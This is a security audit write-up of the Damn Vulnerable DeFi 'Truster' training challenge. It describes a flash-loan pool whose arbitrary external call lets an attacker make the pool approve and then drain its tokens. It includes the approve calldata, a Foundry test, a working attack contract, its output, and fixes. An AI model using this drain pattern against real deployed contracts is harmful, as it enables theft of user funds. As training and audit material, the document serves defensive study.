Damn Vulnerable DeFi, Truster Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: June 21, 2026

Table of contents

See table

About Me

I’m a smart contract security researcher focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Truster challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is June 21, 2026. Tools used were manual review, Foundry (forge) for the PoC, Slither, Aderyn, and `cast` for the opcode and calldata level checks.

Scope

```
src/truster/
  TrusterLenderPool.sol
```

Protocol Summary

`TrusterLenderPool` is a single contract pool that holds 1,000,000 DVT tokens and offers flash loans of those tokens for free. There is no fee. A caller asks for some `amount`, names a `borrower` who receives the tokens, and also passes a `target` address together with a `data` blob. The pool sends the tokens to the borrower, then makes one external call to `target` with that `data`, and finally checks that its own token balance did not drop below the balance it had before the loan. If the balance is short, the whole call reverts with `RepayFailed`.

The pool inherits OpenZeppelin `ReentrancyGuard` and marks `flashLoan` as `nonReentrant`, so the same loan cannot re enter the pool while it is open.

The intended security goal is simple. The pool should never lose tokens. A flash loan should leave the pool with at least the balance it started with, so no caller can walk away with pool funds.

Roles

There is no owner or admin in this pool. Anyone can call `flashLoan` with any parameters they like. The borrower is whatever address the caller names to receive the loaned tokens. The player or attacker is an unprivileged user who starts with zero tokens and must rescue all 1,000,000 DVT from the pool into a recovery account, using a single transaction.

Executive Summary

The pool makes an attacker controlled external call in the middle of the loan, and it does not limit what that call can be. The caller chooses both the `target` and the `data`, and the pool runs `target.functionCall(data)` with the pool itself as `msg.sender`. That means the attacker can make the pool call any contract and say anything, while speaking with the pool own identity.

The clean way to abuse this is to point `target` at the DVT token and set `data` to `approve(attacker, 1,000,000e18)`. The pool then approves the attacker to spend all of its tokens. No tokens leave during the loan, so the balance check at the end passes and the loan succeeds. Right after, the attacker calls `transferFrom` and pulls every token out of the pool into the recovery account. The whole thing fits in one transaction by running both steps inside the constructor of a small attack contract, which keeps the player nonce at one.

The review also note lower severity and code quality observations, an unchecked ERC20 `transfer` return value, a loan that does not actually have to be repaid because of how the balance check is framed, and an unused import.

Issues found

Severity	Number of issues found
High	1

Severity	Number of issues found
Medium	0
Low	2
Informational	1
Total	4

ID	Title	Severity
[H-1]	Arbitrary call inside `flashLoan` lets anyone make the pool approve and drain its funds	High
[L-1]	Pool ignores the return value of the DVT `transfer`	Low
[L-2]	Balance only check lets a loan pass without the borrower ever repaying	Low
[I-1]	Unused `ReentrancyGuard` style and missing zero address check in the constructor	Informational

Findings

High

[H-1] Arbitrary call inside `flashLoan` lets anyone make the pool approve and drain its funds (theft of funds)

Description:

The `flashLoan` function lets the caller pass any `target` and any `data`, and the pool then runs that call itself:

```
// src/truster/TrusterLenderPool.sol:20-35
function flashLoan(uint256 amount, address borrower, address
target, bytes calldata data)
    external
    nonReentrant
    returns (bool)
{
    uint256 balanceBefore = token.balanceOf(address(this));

    token.transfer(borrower, amount);
    target.functionCall(data);

    if (token.balanceOf(address(this)) < balanceBefore) {
        revert RepayFailed();
    }
```

```
    return true;
}
```

The vulnerability is the `arbitrarty call` in `target.functionCall(data)`. Since the pool executes this call, `msg.sender` becomes the pool. An attacker can make the pool call `token.approve(attacker,amount)` and grant themselves an allowance. No tokens leave the pool during the flash loan, so the balance check passes. Afterward, the attacker uses `transferFrom()` to drain all pool tokens. `nonReentrant` doesn't help because the attack doesn't use reentrancy.

Opcode and calldata level analysis:

The whole attack rides on the `data` blob that the pool forwards. The approve call the attacker wants the pool to make encodes as the 4 byte selector for `approve(address,uint256)`, then the spender, then the amount:

```
0x095ea7b3
approve(address,uint256)
  000000000000000000000000<attacker 20
bytes>                          // spender = attacker contract

0000000000000000000000000000000000000000d3c21bcecceda1000000
amount = 1_000_000e18
```

When the pool runs `target.functionCall(data)`, the EVM performs a plain `CALL` to the token with this calldata, and the token sees `CALLER()` equal to the pool. So the `SSTORE` that writes `allowance[pool][attacker]` is keyed on the pool as the owner. There is nothing in the pool that inspects the selector or the target, so a `cast 4byte 0x095ea7b3` lookup of the forwarded data would show `approve(address,uint256)`, yet the pool treats it the same as any harmless call. The balance check at the end is only a `BALANCEOF` compared with `balanceBefore`, and since no transfer happened the two are equal, so the `LT` is false and the function returns success.

Impact:

Likelihood is High. The function is permissionless, the loan amount can be zero, and the attacker only needs one crafted `data` blob and a follow up `transferFrom`.

Risk is High. The attacker drains the full 1,000,000 DVT balance of the pool.

Proof of Concept:

The player deploys a small attack contract in a single transaction. Inside its constructor the contract asks for a zero amount loan but points `target` at the token and passes `approve(this, 1_000_000e18)` as the data, so the pool approves the attack contract. Still inside the same constructor, it calls

`transferFrom` to move all tokens from the pool to the recovery account. Because everything happens in one deployment, the player nonce stays at one.

```
function test_drainPoolInOneTransaction() public {
    console.log("BEFORE ATTACK");
    console.log("pool DVT     :", token.balanceOf(address(pool)));
    console.log("recovery DVT :", token.balanceOf(recovery));
    console.log("player nonce :", vm.getNonce(player));

    // Single player transaction: deploy a contract that does the
whole attack
    // in its constructor.
    vm.prank(player, player);
    new TrusterAttack(pool, token, recovery, TOKENS_IN_POOL);

    console.log("AFTER ATTACK");
    console.log("pool DVT     :", token.balanceOf(address(pool)));
    console.log("recovery DVT :", token.balanceOf(recovery));
    console.log("player nonce :", vm.getNonce(player));

    assertEq(vm.getNonce(player), 1, "player used more than one
tx");
    assertEq(token.balanceOf(address(pool)), 0, "pool not
emptied");
    assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "recovery
did not get all DVT");
}
```

The attack contract:

```
contract TrusterAttack {
    constructor(
        TrusterLenderPool pool,
        DamnValuableToken token,
        address recovery,
        uint256 amount
    ) {
        // Borrow zero, but use the free arbitrary call to make
the pool approve us.
        bytes memory data = abi.encodeCall(token.approve,
(address(this), amount));
        pool.flashLoan(0, address(this), address(token), data);

        // The pool now lets us move all its tokens. Pull them to
recovery.
        token.transferFrom(address(pool), recovery, amount);
    }
}
```

Console output from `forge test --match-path test/truster/TrusterPoC.t.sol -vv`:

```
Ran 1 test for test/truster/TrusterPoC.t.sol:TrusterPoC
[PASS] test_drainPoolInOneTransaction() (gas: 113717)
Logs:
  BEFORE ATTACK
  pool DVT     : 1000000000000000000000000
  recovery DVT : 0
  player nonce : 0
  AFTER ATTACK
  pool DVT     : 0
  recovery DVT : 1000000000000000000000000
  player nonce : 1

Suite result: ok. 1 passed; 0 failed; 0 skipped
```

The pool ends at zero, the recovery account holds the full 1,000,000 DVT, and the player nonce is one, which proves a single transaction.

Recommended Mitigation:

The root cause is that the pool makes an external call to an attacker chosen target with attacker chosen data, while keeping the pool own identity. A flash loan does not need this. The pool should only call a fixed, known callback on the borrower, never an arbitrary target.

The cleanest fix follows the ERC3156 shape. Remove the free `target` and `data`, send the loan to the borrower, then call a known callback function on that borrower, and require it to repay before the function ends.

File: `src/truster/TrusterLenderPool.sol`, function `flashLoan()`:

```
-    function flashLoan(uint256 amount, address borrower, address
        target, bytes calldata data)
+    function flashLoan(uint256 amount, address borrower, bytes
        calldata data)
         external
         nonReentrant
         returns (bool)
     {
         uint256 balanceBefore = token.balanceOf(address(this));

         token.transfer(borrower, amount);
-        target.functionCall(data);
+        // Call only the borrower own callback, never an
        arbitrary target.
+        require(
+            IFlashBorrower(borrower).onFlashLoan(msg.sender,
        amount, data) == CALLBACK_SUCCESS,
+            "callback failed"
+        );
+        // Pull the loan back from the borrower instead of
        trusting a balance only check.
+        token.transferFrom(borrower, address(this), amount);
```

```
        if (token.balanceOf(address(this)) < balanceBefore) {
            revert RepayFailed();
        }

        return true;
    }
```

If the arbitrary call must stay for some reason, at the very least never let `target` be the pool token, and never let the pool make calls that can grant allowances or move pool funds. Restricting `target` to the borrower address closes this path.

Low

[L-1] Pool ignores the return value of the DVT `transfer`

Description:

The pool uses the raw ERC20 `transfer` and does not check the boolean it returns:

```
// src/truster/TrusterLenderPool.sol:27
token.transfer(borrower, amount);
```

The DVT token here is a solmate ERC20 that reverts on failure, so this is not exploitable in this exact setup. It is still fragile and inconsistent with the safe transfer pattern. A token that returns `false` instead of reverting would let a failed transfer slip by unnoticed, and the loan logic would keep going as if the tokens had moved.

Location is `src/truster/TrusterLenderPool.sol:27`.

Impact:

Likelihood is Low, because it only matters with non standard tokens. Risk is Low and mostly code quality.

Proof of Concept:

N/A

Recommended Mitigation:

Use `SafeTransferLib` from solmate so the return value is checked and odd tokens are handled.

File: `src/truster/TrusterLenderPool.sol`, imports:

```
+import {SafeTransferLib} from "solmate/utils/
        SafeTransferLib.sol";
```

File: `src/truster/TrusterLenderPool.sol`, inside `flashLoan()`:

```
-         token.transfer(borrower, amount);
+         SafeTransferLib.safeTransfer(ERC20(address(token)),
         borrower, amount);
```

[L-2] Balance only check lets a loan pass without the borrower ever repaying

Description:

The pool decides a loan is repaid only by comparing its token balance before and after:

```
// src/truster/TrusterLenderPool.sol:25-32
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);
target.functionCall(data);

if (token.balanceOf(address(this)) < balanceBefore) {
    revert RepayFailed();
}
```

This treats any way of restoring the balance as a valid repayment, even when the named borrower never pays anything back. A zero amount loan trivially passes because nothing left in the first place, which is exactly what [H-1] relies on. Even with a real amount, a third party could top up the pool and the borrower would owe nothing. The check measures the pool balance, not whether the loan itself was returned, so it does not actually bind the borrower to repay.

Location is `src/truster/TrusterLenderPool.sol:25-32`.

Impact:

Likelihood is Low on its own, because the real damage comes through the arbitrary call in [H-1]. Risk is Low as a standalone issue, but it removes a guardrail that would otherwise make the high finding harder.

Proof of Concept:

N/A. This is covered by the [H-1] proof of concept, where a zero amount loan passes the balance check while the pool gives away an allowance.

Recommended Mitigation:

Pull the loan back from the borrower with `transferFrom` after the callback, so repayment is explicit and tied to the borrower, rather than trusting a balance snapshot. See the fixed `flashLoan` in the [H-1] mitigation, which pulls `amount` back from the borrower before the final check.

Informational

[I-1] Unused reentrancy protection value and missing zero address check in the constructor

Description:

Two small points stand out.

First, the constructor sets the token but does not guard against a zero address:

```
// src/truster/TrusterLenderPool.sol:16-18
constructor(DamnValuableToken _token) {
    token = _token;
}
```

If the pool is ever deployed with a zero token address by mistake, every flash loan would revert and the pool would be useless. A short check makes the deployment intent clear and fails fast.

Second, the `nonReentrant` guard on `flashLoan` gives a false sense of safety here. The real risk in this pool is not reentrancy, it is the arbitrary external call in [H-1], which the guard does nothing to stop.

Location is `src/truster/TrusterLenderPool.sol:16-18`.

Impact:

Info

Proof of Concept:

N/A

Recommended Mitigation:

Add a zero address check in the constructor and revert with a named error.

function `constructor()`:

```
+    error InvalidToken();

     constructor(DamnValuableToken _token) {
```

```
+         if (address(_token) == address(0)) revert InvalidToken();
          token = _token;
      }
```

The reentrancy guard can stay, but the real fix for the pool is the safe callback pattern in [H-1], not the guard.